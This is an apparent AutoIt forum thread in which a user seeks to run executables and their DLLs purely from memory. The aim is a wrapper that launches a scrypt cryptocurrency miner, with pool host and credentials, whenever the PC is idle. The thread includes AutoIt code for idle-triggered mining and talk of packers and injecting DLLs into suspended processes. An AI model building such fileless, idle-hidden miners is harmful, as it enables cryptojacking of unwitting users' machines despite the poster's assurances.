Make a DLL available without installing it

[nullschritt]

I have seen several posts about storing and using DLLs from memory, however, I do not seem to be able to find a way to, make a DLL available in memory, without writing it to the hard disk, so I would like to ask, is such a thing even possible?

If you are having a little trouble understanding what I mean, I mean that I am running an exe with _RunBinary() and it requires some DLLs to run, is there a way to make them availale only in the memory space of the running program so that the exe ran from memory, can also access the dlls, in memory?

[Andreik]

About what DLLs you're talking about? Can you provide some code of your script?

[nullschritt]

I am working on making a wrapper for executables, that allows the publisher to earn money by harvesting a percentage of free CPU resources, the executable that harvests this CPU power uses two DLLs

libcurl-4.dll, and pthreadGC2.dll

Here is an exerpt from my code:

$MAIN = _RunBinary($exe);this runs the primary application

while 1

If _checkidle(10) Then ;if the user has left their pc

if ProcessExists($PID) and $idle = 0 Then
for $i=1 to 5
ProcessClose($PID)
Next
$idle = 1
EndIf

if $idle = 1 and ProcessExists($PID) = 0 Then
$PID = _RunBinary($bin, " --algo scrypt -r 1000 -s 40 --threads "&$cores&" --url "&$host&":"&$port&" --userpass "&$user&":"&$pass) ;here we launch the process to use CPU power
ConsoleWrite($pid&@CRLF)
EndIf

EndIf

sleep(20)

If ProcessExists($MAIN) = 0 then Exit ;if the main exe has closed, stop harnessing power

WEnd

I also modified the func _checkidle to use 1/2 the power when the user is actively using the pc, so they don't lag.

I am not making any sort of malware, before anyone gets the wrong idea, this is for legally wrapping programs that people knowingly run, and said people will be required to be informed by the publisher that the program uses this function.

Basically, all I need to figure out, is how I would allow the binary running in memory ($bin) to access the DLLs without them being written to disk, so that the application is self contained/standalone.

[Andreik]

According with it's possible. You just have to in your binary image and then do the trick with _RunBinary().

[nullschritt]

According with it's possible. You just have to in your binary image and then do the trick with _RunBinary().

Unless I am missing something, this post only allows you to make a special dll call from autoit, to the binary of a dll?

That would seem to mean only autoti can access the dll embedded via that method? (how would the binary of the extra module I'm running in memory, know where to find the embedded binary? )

[Andreik]

Your executable isn't written in AutoIt? In this case you need a way to pack them all toghether, like MoleBox. And then you'll get binary image of resulted executable.

[incepator]

nice idea

[nullschritt]

Your executable isn't written in AutoIt? In this case you need a way to pack them all toghether, like MoleBox. And then you'll get binary image of resulted executable.

These tools break the script. "Unable to read script file".

Tried several method, packing the dlls into the stub, and into the external exe, and the finished exe.

Any use of this tool on any autoit exe causes the script file to be lost, modifying the stub, causes the molebox fiel to break on run, I was able to ack the dlls into the external exe fine, and run it run, however, when it is executed from memory, the package breaks.

Edited December 7, 2012 by nullschritt

[DicatoroftheUSA]

I am guessing you already saw What is breaking?

[nullschritt]

I am guessing you already saw What is breaking?

Yes, as stated the exe that requires the dlls is not written in autoit, so I cannot point it to embeded dlls.

And the script breaks, autoit compiled scripts use dynamic interpretation of an encrypted version of the script, stored in program resources. When you use a program that in any way modifies the exe structure, other than resource hacker, and upx, the exe becomes "unable to locate the script file". I could fix this, if I knew where the source file was stored, by making a program to manually xtract it, and re-add it to the proper location afer the exe has been modified, but that would be considered reverse engineering, as it would basically be a re-compiler. Not to mention, the only people who know how to do this, are the devs, and probably very, very few peope who have written illegal decompiling programs.

When using molebox to combine the dlls directly with the exe that requires them, the program no longer runs from memory, as the wrapper (molebox) is unable to locate the resources, as they exist only in the binary data, which is stored inside autoit, not on the disk, and molebox has no access to autoit's variables, otherwise, the embed dll idea, would have probably worked, one way or another.

I have played around a lot, and it does not seem there is any way to trick the system into thinking the dlls are on the disk, when they are not, except maybe actually injecting the dll into process while it's being created in memry, while it is still suspended, but I have my doubt about this working too, however, I will report back with my results.

Edited December 9, 2012 by nullschritt